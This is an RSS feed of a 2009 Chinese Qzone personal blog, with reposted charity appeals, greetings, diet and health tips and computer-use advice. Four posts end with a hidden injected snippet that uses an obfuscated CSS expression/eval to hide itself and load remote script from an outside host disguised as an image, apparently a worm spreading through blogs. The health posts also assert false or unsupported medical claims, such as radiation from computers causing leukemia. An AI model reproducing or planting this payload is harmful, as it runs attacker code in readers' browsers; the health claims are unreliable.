<![CDATA[绿洲]]> http://875400172.qzone.qq.com Fri, 27 Nov 2009 20:31:45 GMT Qzone zh-cn Copyright (C), 2005-2008, Tencent Tech. Co., Ltd. Sat, 04 Jul 2009 03:06:33 GMT <![CDATA[[转][转]希望它能传遍中国 (爱心行动）]]> http://875400172.qzone.qq.com/blog/1246676793 希望它能传遍中国 (爱心行动）
如果你能看到，请你帮我一起转，转到全中国人都知道在我们自己幸福的同时还有这样一群孩子被社会遗忘；如果你还有不想穿的旧衣服什么的，只要干净完整一点的，不妨洗洗干净打上邮包按照“等待您帮助的地方”给他们寄过去，真的花不了多少钱的，平邮就可以了，因为他们太需要我们的关心了，或许我们能做的只有那么一点点，甚至微不足道，但是有你的一双旧手套，他们这个冬天可能就不冷了；有你的一摞旧教材，他们可能就能走出山村改变命运；不要吝啬我们那残存的一点爱心，因为他们的确太需要了。

我们偷懒晒太阳
我们周末疯狂SHOPPING
我们糟蹋米饭
我们吃肯德基麦当劳
我们玩过山车海盗船
我们追星捧族
我们追逐时尚
我们装扮非主流
我们耍帅扮酷
我们泡妞吊凯子
我们夜夜笙歌

他们吃顿饱饭便是奢侈
他们寄封信便需要徒步几公里的山路
他们整年见不着自己的爹娘因为他们都常年外出打工
他们鲜少喝到甘甜的水
他们不知道城市里的高楼大厦
他们不知晓城市里的小脚裤唇环脐环所谓何物
他们同样不知晓外面世界的灯红酒绿纸醉金迷
他们渴求读书却买不起一支铅笔
他们羞涩的接受各地所谓善人的采访
平静之后
他们照常走几个小时的山路去上学
照常吃难以下咽的饭菜
照常用树枝在地上写字
照常在寒冷的冬季生冻疮
照常拖着小小的身躯劈柴
照常仰望远方想念他们的爹娘





































]]> http://875400172.qzone.qq.com/blog/1246676793#comment 142623241 Sat, 04 Jul 2009 03:06:33 GMT http://875400172.qzone.qq.com/blog/1246676793 <![CDATA[魔鬼训练，轻松减肥！！！]]> http://875400172.qzone.qq.com/blog/1246542784 90天的魔鬼训练，轻松减掉6公斤赘肉！
你相信吗？我的朋友？ ]]> http://875400172.qzone.qq.com/blog/1246542784#comment 142606848 Thu, 02 Jul 2009 13:53:04 GMT http://875400172.qzone.qq.com/blog/1246542784 <![CDATA[想念我的朋友们！]]> http://875400172.qzone.qq.com/blog/1246492198 我 好久没有上网了，真的好想念我的网络朋友们！！！
打开我的空间，看到我不在家的日子里，还有这么多的朋友还是一如既往的关注我，关心我，我的心里暖暖的！我真的好感动啊！！！
大千世界，多一个人牵挂是一种幸福。 茫茫人海，多一个人相知是一种骄傲。 人生旅途，多一个人相伴是一种福气。 红尘多扰，多一个人问候是一种慰藉。
一路有您相伴，笑容更加灿烂。 空间有您留言，心里倍觉甘甜。我会到您美丽空间，留下我的心愿。开心果愿您健康平安！愿您幸福永远！


我在这里衷心的谢谢我的朋友们，姐妹们，祝你们幸福快乐，健康平安！好人一生平安！！！
]]> http://875400172.qzone.qq.com/blog/1246492198#comment 142606865 Wed, 01 Jul 2009 23:49:58 GMT http://875400172.qzone.qq.com/blog/1246492198 <![CDATA[祝福黎立哥哥生日快乐！！！]]> http://875400172.qzone.qq.com/blog/1237733486
黎立哥哥 祝你生日快乐！幸福永远！
轻轻地递上一张贺卡，悄悄地道一声祝福与问安，我在默默思念中，甜蜜地回忆着我们的友谊。
　
一年四季季季平平安安
一年12月月月健健康康
一年52周周周精精彩彩
一年366天天天快快乐乐
一年8784时时时幸幸福福

分分秒秒 平平安安
朝朝幕幕 开开心心
日日夜夜 健健康康
日日年年 潇潇洒洒
永永远远 快快乐乐
时时刻刻 风风光光
生生世世 顺顺当当
在这个美好的日子里，
让我们采一抹春日的阳光给你，
愿你的生活永远温暖如春！
让我们掬一捧洁白的花儿给你！
愿你的心灵永远晶莹纯洁！
让我们为你同唱一首生日歌！
愿你的脸上荡漾起灿烂的笑容！










]]> http://875400172.qzone.qq.com/blog/1237733486#comment 134218257 Sun, 22 Mar 2009 14:51:26 GMT http://875400172.qzone.qq.com/blog/1237733486 <![CDATA[北大教授讲座手稿,看了多活十年!]]> http://875400172.qzone.qq.com/blog/1237722016 国际公认六大保健饮料（只有此六类） ：
1. 绿茶（抗癌）（软化血管）（饭后用茶叶水簌口，可以防牙齿疾病）
2. 红葡萄酒（少量）、红葡萄皮（延缓衰老，防自由基）（防止心脏病）（防止心脏突然停勃）（早晨不能剧烈运动）
3. 豆浆
4. 酸奶（防止有害菌，促生有利菌）
5. 骨头汤（延年益寿）
6. 蘑菇汤（提高抵抗力）

保健食品 ：
1. 老玉米、玉米粥（防止高血脂）
2. 荞麦（防止糖尿病）（高纤维，防止胃肠道癌症）（用淘米水可以洗掉农药）
3. 薯类（防止便秘）（降血糖，降血脂，吸收毒素）
4. 燕麦（防止糖尿病）
5. 小米（安眠）（早上玉米粥、晚上小米粥）
6. 芝麻
7. 豆类（大豆行动计划：一把蔬菜一把豆、一个鸡蛋加点肉）

有害食品：
1. 松花蛋不宜食用，含有铅
2. 臭豆腐不能常吃
3. 味精不能多用，最好不要用，特别不能加热；怀孕时候不能多吃，影响下一代
4. 40 岁以上不要吃菠菜
5. 方便面不宜食用
6. 葵花子，影响肝功能
7. 猪肝含有胆固醇过高，不宜多吃
8. 烤羊肉串，致癌
9. 腌菜，致癌
10. 油条，有害肾脏、脑细胞

容易产生误解的：
1. 豆浆比牛奶更有利吸收，营养价值不次于牛奶
2. 胡萝卜美容！！
3. 苦瓜，防糖尿病
4. 番茄素，番茄加热后产生番茄素，生番茄没有番茄素，西红柿炒鸡蛋；抗生殖系统癌、膀胱癌
5. 大蒜素，大蒜切成薄片，空气中 15 分钟才产生大蒜素，不能加热；抗癌
6. 黑木耳，可以防、治心肌梗塞，效果比阿司匹林还好
7. 花生米的红皮，提高血凝性，容易心肌梗塞，所以最好剥皮吃
8. 花粉，消毒、去皮、脱敏，然后食用，可以延年益寿；用在脸上可以美容，祛除所有斑点、皱纹、痤疮；食用还可以有利于治疗便秘

其他知识：
1. 医学黄金分割：副食与主食比例 6 比 4 ，粗食与细食比例 6 比 4 ，静与动比例 6 比 4
2. 螺旋藻， 1 克 螺旋藻＝ 1000 克 各种蔬菜的总和，营养最均衡，蛋白最高，最优质，所以是太空食品；螺旋藻还有利治疗糖尿病
3. 国际四大杀手：心脑血管疾病、癌症、糖尿病、高血压（中国存在第五杀手：肝炎）
4. 电脑辐射、微波炉辐射 7.5 米 ，容易得血癌（孕妇最好远离）（微波炉最好放在高处）

保健运动－－有氧运动：
1. 每天一小时以内，一周 3 － 5 次，强度不可太大，最好的运动为步行、慢跑、骑自行车、游泳等。不可猝停。
2. 早晨 6 点起床最好，上午 9 － 11 点和下午 2 － 4 点开窗最好，空气质量最好。
3. 午休时间为午饭半小时后，午休时间最好为 1 个小时长。
4. 晚上 10 － 10:30 睡觉最好，一个半小时进入深度睡眠，即晚上 12 点到凌晨 3 点，此 3 个小时睡好等于 8 个小时睡好。

心理：（比以上更重要）
1. 生气后容易得癌肿瘤。生气不要超过 5 分钟。
2. 躲避、转移、释放、升华、自我控制，这样来避免生气。
3. 天天有个好心情。
4. 人生不能感觉心理累，你感觉到心理累得话，你应该改变它。
5. 所有动物中，只有人类有的一种功能是 " 笑 " 。
6. 每天大笑三次，每次 3 分钟，中间停几秒钟。可以防治偏头疼和后背疼、还可防治便秘。
7. 不经常笑的人一般活不到 80 岁。
8. 男儿有泪就该弹。


不要悲叹命运
在生活中，每个人都有自已不同的人生与经历，不同的地位与身世。比如有的人生来清贫，有的人出生富贵，有的人家境艰辛，有的人收入不高，有的人工作不如意，有的人婚姻不称心，等等。好象都是上天安排的，注定要有一些人去经历磨难，有些人历尽千辛，有些人苍凉饥寒。就象手中拿到的一付臭牌，让你百般无奈。

你必须用手中的牌玩下去 --
艾森豪威尔年轻的时候，有一次和家人玩牌，他连续几次都拿到很糟糕的牌，情绪非常不好，态度也恶劣起来。他母亲见状说了段令他刻骨铭心的话： “ 你必须用手中的牌玩下去。就好比人生，发牌的是上帝，不管是怎样的牌，你都必须拿着，你所做的就是尽你的全力，求得最好的结果。 ” 我们不能去抱怨生活的不幸，及命运的不公，因为上帝已经给我们每一个人定位。但是人生的过程却掌握在自已手中，适时的调整与适应，才是首先要做的。

从事帆船运动的朋友说：当一个人在大海中航行时，他当然不能改变海面上的风向，但他却可以不断的调整船上的风帆，让自已一直向目的地驶去。

所以，一个人如何使自已乐观起来，不要被一些无法改变的东西压垮，有了向上的积极心态，那么，当你看到一些不起眼的障碍时，就能联想心中的愿望，然后用心的去做，去改变它。

如何获得乐观的心态：
1 、用你的行动去影响你的心态；
2 、不要经常说消极的词语；
3 、心怀感激；
4 、学会自我激励。
一个富商在他的双胞胎儿子生日那天，在其中的一个孩子房间堆了很多玩具，而在另一个孩子房间放了很多马粪。结果第一个孩子看到很多的玩具却还是愁眉不展，说： “ 这里没有一个是我要的。 ” 而另一个非常高兴的说： “ 看来爸爸要送我的小马就在附近。 ”

同时，生活中有许多光彩照人的东西在吸引着我们，但是我们要学会哪些是需要的，可以得到的，哪些又是无法实现的，不要顾此失彼，到头来还是一场空，甚至得不偿失。

领悟放弃法则 --
在南美州，有一种奇特的动物 -- 蜘蛛猴，要捕捉它们非常容易，你只要在一个玻璃瓶里放一颗花生，然后将瓶子放在那里。蜘蛛猴刚好可以把手伸进瓶子去拿那花生，一旦它们握住花生，手就抽不出来了。但它们就是不肯放手，所以才被 …… 知道自已想要什么的一半是知道自已在得到它之前必须先舍弃什么。

在生活中，还有许多现象，由于人的贪婪或贪便宜，也会造成不该的失误，结果是让原本并不富裕的生活雪上加霜。常有的一种聪明与淡泊，有时能改变和挽救一个命运，少走一段弯路。

本能的目光 --

有家报社举办这样一次有奖智力竞赛：如果卢浮宫不幸失火，你只有时间救出一幅画，你会选择救哪幅？答案最多的是《蒙娜丽莎》，但是得奖的答案却是 -- 救那幅离出口最近的。
人生有时候往往是一个很简单的理由，做好了，你就是赢家。
[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash] ]]> http://875400172.qzone.qq.com/blog/1237722016#comment 134218257 Sun, 22 Mar 2009 11:40:16 GMT http://875400172.qzone.qq.com/blog/1237722016 <![CDATA[请我的朋友们支持一下杜雨萱小朋友！！！]]> http://875400172.qzone.qq.com/blog/1237344107 各位好朋友，占用您一点宝贵的时间，请您停留一小会！
请朋友们打开《用鼠标点击》下面的网址，找到杜雨萱小朋友；给她投上您宝贵的一票吧！ 谢谢大家的支持！！！
每天投一票，幸福自然到，感谢您给宝宝投票！



用这个网址，能直接找到，方便：
http://www.womanfriend.com/huodong/baby/Html/Main.asp

http://www.ny1988.com/huodong/baby/Html/productlist.asp?Page=2

本文来源于好朋友矿岭的空间！http://user.qzone.qq.com/447481798
[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash] ]]> http://875400172.qzone.qq.com/blog/1237344107#comment 134218257 Wed, 18 Mar 2009 02:41:47 GMT http://875400172.qzone.qq.com/blog/1237344107 <![CDATA[电脑旁不能放哪些东西？]]> http://875400172.qzone.qq.com/blog/1237343333 　电脑已经是人们生活中必不可少的物品了，人们一天的日常生活几乎都是围绕在它的周围，于是电脑桌上琳琳种种的物品堆得半山高，为了你的健康，你该考虑清理掉一些了……
　　
　　
　　一、电脑不宜摆放零食、饮料
　　
　　你平时的习惯，保留了很多的“化石”，饭粒、饼干渣、头发等等比比皆是，难怪有人说：公用机房里的键盘比公厕还脏。同时这样的碎片还可能进入你的键盘里面，堵塞你键盘上的电路，从而造成输入困难。饮料的危害就更加厉害了，一次就足以毁灭你的键盘。就是你的键盘侥幸没有被毁灭，恐怕打起字来，也是粘粘糊糊很不好过。
　　
　　解决方法：避免在键盘上吃东西，每过一段时间就给他打扫卫生，擦澡（虽然这样还是很脏的）；你要是腰包更加饱的话，可以考虑半年换一个键盘（我从来不建议用差的键盘，那可是关乎健康的问题）试试，应该情况会好一些。还有记得给你房间买一个饭桌了。

　　
　　
　　二、烟盅、烟头
　　
　　像香烟、雪茄或微小烟粒会伤害你的肺一样，烟也可能会跑进你的软驱并危及资料。烟雾也可能会覆盖CD-ROM、DVD驱动器的读取头，造成读取错误。烟头烟灰更有可能使得你的打印机和扫描仪质量大大的下降。
　　
　　解决方法：要保护你的系统和你自己的最佳方式，就是不要抽烟。如果你就是戒不掉抽烟这个习惯的话，到外面去抽，或在计算机四周打开空气清新器吧！当然更不要把你的键盘当烟灰缸用。
　　
　　
　　可以在电脑旁放以下东西：
　　
　　在计算机旁放一杯热水，增加周边湿度，以减轻眼睛不适的情形仙人掌、人参树等减少辐射的绿色植物眼药水，感觉眼睛很干涩的时候可以滴放一台小型风扇，增加通风性。

　　
　　
　　使用电脑小贴士
　　
　　
　　◆最好把屏幕调查到眼睛平视低十到二十公分，可降低眼睑上提的机会，除了要让眼睛多休息外，还要经常眨眼来湿润眼睛。
　　
　　
　　◆吃一些对眼睛有益的食品，如鸡蛋、鱼类、鱼肝油、胡萝卜、菠菜、地瓜、南瓜、枸杞子、菊花、芝麻、萝卜、动物肝脏等。
　　
　　
　　◆吃一些抗辐射的食品：电脑虽然对人体健康影响较小，但也应预防。饮茶能降低辐射的危害，茶叶中的脂多糖有抗辐射的作用。螺旋藻、沙棘油也具有抗辐射的作用。
　　
　　
　　◆用完电脑应洗脸，平时应注意锻炼身体。
[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash] ]]> http://875400172.qzone.qq.com/blog/1237343333#comment 134218257 Wed, 18 Mar 2009 02:28:53 GMT http://875400172.qzone.qq.com/blog/1237343333 <![CDATA[营养瘦身汤！！！]]> http://875400172.qzone.qq.com/blog/1237171046 营养瘦身汤
美味又营养牛奶豆腐瘦身汤豆腐与牛奶，这两样食物中都含有很高的营养，只要食用方法得当就会有瘦身效用。
要想获得喝牛奶减肥的好处，就要控制总能量，在多喝奶的同时相应减少其它食物的摄入量，特别是那些营养价值低而热能高的食物，如甜饮料、甜点、糖果、膨化食品、凉粉凉皮之类和高油脂食物，适当减少晚餐主食，以保证总量的平衡。如果在两餐之间或餐前喝奶，可以帮助人体减少食欲，午餐和晚餐饮食不过量。如果身体超重或肥胖，则不提倡饭后或睡前喝奶。
牛奶豆腐汤具体瘦身方法如下:
配料：豆腐200克、牛奶200毫升、盐少许、糖1匙、葱花、味精少许。
做法：
1、像做普通豆腐汤那样把豆腐放在牛奶中煮(牛奶中加少许水，防止干锅)，等沸腾后，依照自己的口味加入调味品即可食用。
2、在用这个菜单减肥时不需要其他食物，这个汤可以吃到饱为止。
3、服用时间：第一天只能喝豆腐牛奶汤，从第二天开始加入黄瓜或者西红柿等水果蔬菜，增加威力的纤维含量，加速新陈代谢，这时你就明显的感觉小腹平了很多，一般第三天你就可以瘦1—2公斤，有平平的腹部啦！
[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash] ]]> http://875400172.qzone.qq.com/blog/1237171046#comment 134218257 Mon, 16 Mar 2009 02:37:26 GMT http://875400172.qzone.qq.com/blog/1237171046 <![CDATA[引起胃下垂的原因有先天和后天两种 !]]> http://875400172.qzone.qq.com/blog/1237036535 1．先天性 多见于无力型体形者。身体素若，胸廓狭小，皮肤苍白，皮下脂肪菲薄或肌肉营养不良，第十肋游离等。先天性胃下垂患者，常可并发其他内脏（如肾、肝、脾、横结肠、子宫等内脏下垂），所以又叫全内脏下垂。 2．后天性 多与慢性消耗病合并存在或在大病初愈之后；为其他消化系统疾病的并发症。如慢性胃炎、猩性溃疡等；腹肌松弛或腹内压降低，如妇女多次生育，腹部肿瘤切除术，体重突然减轻，或胸腔内压增加，如长期咳嗽、闷气、心界下移等，均可引起胃下垂。
祖国医学虽无“胃下垂”病名的记载，但认为此症乃中气不足，气虚下陷所致。脾胃为后天之本，气血生化之源。胃主受纳，以降为顺；脾主运化，以升为和。两者一纳一运，一升一降，互相配合，在心肺的作用下，将水谷精微输布于全身，以维持机体的正常功能活动。
由于禀赋不足，机体素弱，七情内伤，饮食劳倦等，均可导致脾胃运化失常，升降失调，脾气不升，反而下陷，则可导致胃下垂和其他脏器下垂。 ]]> http://875400172.qzone.qq.com/blog/1237036535#comment 134218240 Sat, 14 Mar 2009 13:15:35 GMT http://875400172.qzone.qq.com/blog/1237036535 <![CDATA[女人吃太少容易得六种病!!]]> http://875400172.qzone.qq.com/blog/1237036460 女人吃少容易得六种病
脱发
 对身体过瘦的人来说，体内脂肪和蛋白质均供应不足，因此头发频繁脱落，失去光泽。如果过分节食，头发缺少充足的营养补给，其中包括铁的摄入。便会枯黄无光，最后导致大量脱发。
骨质疏松
体瘦的女性髋骨骨折发生率比标准体重的女性高一倍以上，这是因为身材过瘦的人体内雌性激素水准不足，影响钙与骨的结合，无法维持正常的骨密度，因此容易出现骨质疏松，发生骨折。
胃下垂
以饥饿法减肥的女性常常感觉食欲不振、胀气、胀痛这都有可能胃下垂的征兆。胃下垂明显者常见腰部不适、饱胀重垂感，在餐后站立或劳累时症状加重，胃下垂严重时还伴有肝、肾、结肠等内脏下垂的现象。美女不能因为太瘦，而过度节食。
子宫脱垂
没有足够的保护，子宫容易从正常位子沿阴道下降，子宫颈下垂，甚至脱出于阴道口外，形成子宫脱垂。严重的还可能导致宫颈口感染，甚至宫颈炎。

贫血
营养摄入不均衡使得铁、叶酸维生素B12等造血物质摄入不足，吃得少，基础代谢率也比常人低，因此肠胃运动也较慢，胃酸分泌也较少，影响营养物质吸收。
这些都是正常贫血的。

记忆衰退
大脑工作的主要动力来源于脂肪。吃得过少，体内脂肪摄入量和存储量不足，
基础营养匮乏，使脑细胞严重受损，直接影响记忆力，变得越来越健忘。

 ]]> http://875400172.qzone.qq.com/blog/1237036460#comment 134218240 Sat, 14 Mar 2009 13:14:20 GMT http://875400172.qzone.qq.com/blog/1237036460